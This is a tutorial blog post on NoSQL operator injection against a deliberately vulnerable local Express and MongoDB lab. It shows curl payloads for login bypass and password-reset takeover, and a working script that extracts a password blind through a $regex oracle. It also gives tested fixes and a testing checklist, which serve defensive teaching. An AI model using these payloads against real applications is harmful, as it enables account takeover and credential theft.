NoSQL Injection, Part 1: Operator Injection in MongoDB APIs
Login bypass, password-reset takeover, and blind password extraction with $ne, $gt, $in, and $regex against a real Express + MongoDB driver lab. Includes why Express 5 only closes half the hole and why Mongoose 9 is still injectable by default.
NoSQL Injection, Part 1: Operator Injection in MongoDB APIs
SQL injection gets less common every year, because most stacks now use parameterized queries by default. NoSQL injection has not followed the same curve. MongoDB queries are JSON objects, modern APIs accept JSON bodies, and a JSON body can carry an object where the code expected a string. When that object reaches a query untouched, the attacker is writing query operators.
This series covers the NoSQL injection classes that still show up in real tests:
- Operator injection (this part):
$ne,$gt,$in,$regexin place of values. - Server-side JavaScript injection:
$where,$function,$accumulator, and what still runs in 2026. - Aggregation pipeline injection: user input inside
$match,$lookup, and$expr. - Beyond MongoDB: Elasticsearch query strings, Redis commands, and GraphQL resolvers that pass filters straight through.
Everything in this part was run against a real MongoDB wire-protocol server with the official Node.js mongodb driver, Express 5.3, and Mongoose 9.11. The server is FerretDB 1.24, which implements the MongoDB 7.0 protocol and query operators. The responses below are copied from that run.
The lab
Three endpoints that look like normal production code: a login, a user filter, and a password reset by token.
// Deliberately vulnerable NoSQL injection lab. Binds to 127.0.0.1 only.
import express from 'express';
import { MongoClient } from 'mongodb';
const MODE = process.argv[2] || 'vuln'; // vuln | safe | simpleqs
const SAFE = MODE === 'safe';
const client = await MongoClient.connect('mongodb://127.0.0.1:27017/');
const users = client.db('lab').collection('users');
if (MODE === 'vuln') {
await users.deleteMany({});
await users.insertMany([
{ username: 'admin', password: 'S3cr3t!x9', role: 'admin', resetToken: null },
{ username: 'alice', password: 'alice2026', role: 'user', resetToken: 'f3a9c2e1-77b0-4d1e-9a51-0c6b2d8e4a10' },
]);
}
const app = express();
// Express 4 parsed ?a[b]=c into objects by default ('extended'). Express 5 defaults to 'simple'.
if (MODE !== 'simpleqs') app.set('query parser', 'extended');
app.use(express.json());
// Safe mode: refuse anything that is not a plain string.
const str = (v) => {
if (SAFE && typeof v !== 'string') throw Object.assign(new Error('invalid input'), { status: 400 });
return v;
};
app.post('/login', async (req, res) => {
const user = await users.findOne({ username: str(req.body.username), password: str(req.body.password) });
if (!user) return res.status(401).json({ ok: false });
res.json({ ok: true, user: user.username, role: user.role });
});
app.get('/users', async (req, res) => {
const rows = await users.find({ role: str(req.query.role) }).project({ _id: 0, username: 1, role: 1 }).toArray();
res.json(rows);
});
app.post('/reset', async (req, res) => {
const user = await users.findOne({ resetToken: str(req.body.token) });
if (!user) return res.status(400).json({ ok: false, error: 'invalid token' });
await users.updateOne({ _id: user._id }, { $set: { password: str(req.body.newPassword), resetToken: null } });
res.json({ ok: true, reset: user.username });
});
app.use((err, req, res, next) => res.status(err.status || 500).json({ error: err.message }));
app.listen({ vuln: 3000, safe: 3001, simpleqs: 3002 }[MODE], '127.0.0.1');Passwords are stored in plain text only to keep the oracle easy to see. The hashed case is covered below, and it is not as safe as people assume.
Why this works
The code expects this:
{ username: "admin", password: "wrong" }express.json() parses whatever JSON arrives, so the attacker can send this instead:
{ username: "admin", password: { "$ne": "x" } }The driver does not know which parts came from the developer and which came from the request. It sends the whole object to the server, and the server reads { "$ne": "x" } as "password is not equal to x". There is no string to break out of and no quote to escape, because the attacker controls the structure of the query, not its text.
Login bypass
A normal failed login:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}'
{"ok":false}$ne on the password:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":"x"}}'
{"ok":true,"user":"admin","role":"admin"}No username known? $gt: "" matches any non-empty string. findOne returns the first match, which in many collections is the first account created, often the admin:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":{"$gt":""},"password":{"$gt":""}}'
{"ok":true,"user":"admin","role":"admin"}To aim at specific accounts, use $in with a list of likely names:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":{"$in":["admin","root","administrator"]},"password":{"$ne":null}}'
{"ok":true,"user":"admin","role":"admin"}Password reset takeover
This variant is easy to miss in review, because "the token is a random UUID" sounds like the end of the discussion. The lookup is the problem, not the token:
users.findOne({ resetToken: req.body.token })Send an operator instead of a token. Any account with a pending reset matches:
$ curl -s http://127.0.0.1:3000/reset -H "Content-Type: application/json" \
-d '{"token":{"$ne":null},"newPassword":"pwned-2026"}'
{"ok":true,"reset":"alice"}
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"alice","password":"pwned-2026"}'
{"ok":true,"user":"alice","role":"user"}The account is taken over without the token, without the email, and without any interaction from the victim. If you can trigger a reset for a chosen user (POST /forgot with their email), you also choose which account $ne: null lands on. The same pattern applies to email verification tokens, invitation codes, API key lookups, and magic-link logins.
Query strings: Express 4 vs Express 5
JSON bodies are not the only route. With the extended query parser, which was the Express 4 default, bracket syntax becomes nested objects:
$ curl -sg "http://127.0.0.1:3000/users?role=user"
[{"username":"alice","role":"user"}]
$ curl -sg "http://127.0.0.1:3000/users?role[\$ne]=user"
[{"username":"admin","role":"admin"}]
$ curl -sg "http://127.0.0.1:3000/users?role[\$regex]=."
[{"username":"admin","role":"admin"},{"username":"alice","role":"user"}]Express 5 changed the default to the simple parser, which does not build nested objects. Port 3002 runs the same code without the extended setting:
$ curl -sg "http://127.0.0.1:3002/users?role[\$ne]=user"
[]The query string route is closed. The JSON body is not:
$ curl -s http://127.0.0.1:3002/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":"x"}}'
{"ok":true,"user":"admin","role":"admin"}"We upgraded to Express 5" fixes GET filters and does nothing for POST and PUT bodies. Also check for app.set('query parser', 'extended') or a direct qs.parse() call, both of which bring the old behavior back. Other frameworks deserve the same check. PHP turns password[$ne]=x into an array natively, and many Python and Go handlers decode JSON into a generic map before they build the filter.
Blind extraction with $regex
The login is a yes/no oracle. $regex turns that into a way to read the password one character at a time:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^S"}}'
{"ok":true,"user":"admin","role":"admin"}
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^A"}}'
{"ok":false}Guessing one character per request is slow. A character class splits the remaining range in half on every request, so each character costs about 7 requests:
// Blind extraction through a login oracle using $regex.
const URL = 'http://127.0.0.1:3000/login';
let requests = 0;
async function oracle(regex) {
requests++;
const r = await fetch(URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: 'admin', password: { $regex: regex } }),
});
return (await r.json()).ok === true;
}
// Escape the known prefix so characters like . $ ( ) ! are matched literally.
const lit = (s) => s.replace(/[.*+?^${}()|[\]\\\/-]/g, '\\$&');
const hex = (c) => '\\x' + c.toString(16).padStart(2, '0');
async function nextChar(prefix) {
let lo = 0x20, hi = 0x7e; // printable ASCII
if (!(await oracle(`^${lit(prefix)}[${hex(lo)}-${hex(hi)}]`))) return null;
while (lo < hi) {
const mid = (lo + hi) >> 1;
if (await oracle(`^${lit(prefix)}[${hex(lo)}-${hex(mid)}]`)) hi = mid;
else lo = mid + 1;
}
return String.fromCharCode(lo);
}
let value = '';
for (let c; (c = await nextChar(value)) !== null; ) value += c;
console.log(`password=${value} requests=${requests}`);password=S3cr3t!x9 requests=73Nine characters in 73 requests. Two details matter:
- Escape the prefix. Without
lit(), a recovered.or$becomes a regex metacharacter and the next guesses match the wrong thing. The extraction then drifts quietly instead of failing. - Detect the end. The script stops when no printable character follows the prefix. You can confirm the result with an anchored
^...$match.
"Our passwords are hashed, so this does not apply"
It does, partly. If the code looks up by username and then runs bcrypt.compare(input, user.hash), the $ne password trick fails, because bcrypt.compare receives an object. The username lookup is still injectable, though. $regex on username or email lets you enumerate accounts, and the same oracle extracts any field that sits in the same query: reset tokens, API keys, TOTP secrets stored in plain text, or the hash itself, which you can then crack offline.
Fixes, tested
1. Reject non-strings at the boundary
The safe mode in the lab does one thing: any value that should be a string and is not a string returns 400.
$ curl -s http://127.0.0.1:3001/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":"x"}}'
{"error":"invalid input"}
$ curl -sg "http://127.0.0.1:3001/users?role[\$ne]=user"
{"error":"invalid input"}
$ curl -s http://127.0.0.1:3001/reset -H "Content-Type: application/json" \
-d '{"token":{"$ne":null},"newPassword":"x"}'
{"error":"invalid input"}
$ curl -s http://127.0.0.1:3001/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":"S3cr3t!x9"}'
{"ok":true,"user":"admin","role":"admin"}In a real codebase, do this with a schema validator (Zod, Joi, Ajv, class-validator) on every route, not with a helper you have to remember to call. z.object({ username: z.string(), password: z.string() }).strict() rejects the attack before any database code runs.
2. Compare with $eq
If an input must go into a filter, wrap it in $eq. An object passed to $eq is compared as a literal value, not interpreted as operators:
users.countDocuments({ username: 'admin', password: { $ne: 'x' } })
// 1
users.countDocuments({ username: { $eq: 'admin' }, password: { $eq: { $ne: 'x' } } })
// 03. Mongoose: the schema does not protect you
A schema that declares password: String looks like it should reject objects. In Mongoose 9.11 with default settings it does not, because $ne is a valid query operator and Mongoose casts the operator's value, not the operator itself:
const User = mongoose.model('User', new mongoose.Schema({ username: String, password: String, role: String }), 'users');
await User.countDocuments({ username: 'admin', password: { $ne: 'x' } })
// 1
await User.countDocuments({ username: 'admin', password: { $ne: 'x' } }).setOptions({ sanitizeFilter: true })
// CastError: Cast to string failed for value "{ '$ne': 'x' }" (type Object) at path "password"Turn it on globally with mongoose.set('sanitizeFilter', true). Where your own code needs an operator, mark it explicitly with mongoose.trusted({ $ne: ... }).
4. Things that are not fixes
- Blocklisting
$in strings. The attack value is an object, not a string. A string filter never sees it. express-mongo-sanitizealone. It strips$keys fromreq.body,req.query, andreq.params, which helps. It does not cover values that reach the database another way, such as WebSocket messages, queue payloads, GraphQL variables, or data that was stored and read back later.- Rate limiting. It slows the regex extraction down. The login bypass and the reset takeover need only one request.
Testing checklist
- For every JSON field that reaches a query, send
{"$ne": null},{"$gt": ""}, and{"$regex": "."}in place of the value. - Repeat on query parameters with bracket syntax:
param[$ne]=x. - Prioritize token lookups: password reset, email verification, invitations, magic links, API keys.
- Compare response length, status, and timing, not only the "success" flag. Partial matches often change the response in small ways.
- If you find a yes/no difference, prove impact with a short
$regexextraction of a non-sensitive field, and record the request count. - In code review, search for
req.body.andreq.query.values that flow intofind,findOne,updateOne,deleteMany, oraggregatewithout schema validation.
Part 2 moves from operators to code: $where and the other places where MongoDB still evaluates JavaScript on the server.
What do you think?
React to show your appreciation